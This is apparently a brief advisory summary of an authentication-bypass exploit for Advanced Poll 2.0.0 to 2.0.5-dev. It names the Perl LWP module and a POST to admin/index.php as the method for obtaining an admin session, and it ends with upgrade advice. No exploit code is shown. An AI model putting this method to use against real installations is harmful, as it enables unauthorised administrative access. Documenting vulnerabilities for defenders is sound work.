Advanced Poll 2.0.0 >= 2.0.5-dev textfile admin session gen.

This exploit allows an attacker to generate an admin session for Advanced Poll version 2.0.0 to 2.0.5-dev. By providing a specific username and password, the attacker can bypass authentication and gain administrative access to the system. The exploit uses the LWP::UserAgent module and performs a POST request to the admin/index.php endpoint. If successful, the exploit retrieves the session ID and provides instructions for accessing the admin panel.

Mitigation:

Upgrade to a patched version of Advanced Poll or apply the necessary security updates. It is also recommended to use strong and unique passwords for all user accounts.
